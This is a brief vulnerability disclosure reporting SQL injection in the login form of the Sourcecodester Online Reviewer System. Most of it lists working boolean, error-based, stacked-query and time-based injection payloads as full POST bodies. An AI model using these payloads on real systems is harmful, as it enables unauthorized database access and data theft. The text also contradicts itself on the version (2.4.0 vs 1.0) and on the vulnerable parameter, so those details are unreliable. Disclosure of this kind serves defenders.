## [Sourcecodester-Online-Reviewer-System-2.4.0 SQL - 4 types of injection vulnerability](https://www.sourcecodester.com/php/12937/online-reviewer-system-using-phppdo.html) ## [Vendor](https://www.sourcecodester.com/users/janobe) ## Description: The password parameter appears of the Online Reviewer System 1.0 to be vulnerable to SQL injection attacks - 4 types of injection vulnerability. A single quote was submitted in the password parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. ## Payloads: ```mysql --- Parameter: username (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: username=TtzgjjZP' OR NOT 2693=2693#&password=r1L!h4v!O1'&btn-login=Log In Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: username=TtzgjjZP' AND (SELECT 4139 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT (ELT(4139=4139,1))),0x71707a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- GJJK&password=r1L!h4v!O1'&btn-login=Log In Type: stacked queries Title: MySQL >= 5.0.12 stacked queries (comment) Payload: username=TtzgjjZP';SELECT SLEEP(5)#&password=r1L!h4v!O1'&btn-login=Log In Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=TtzgjjZP' AND (SELECT 8716 FROM (SELECT(SLEEP(5)))MJXH)-- xWIO&password=r1L!h4v!O1'&btn-login=Log In --- ```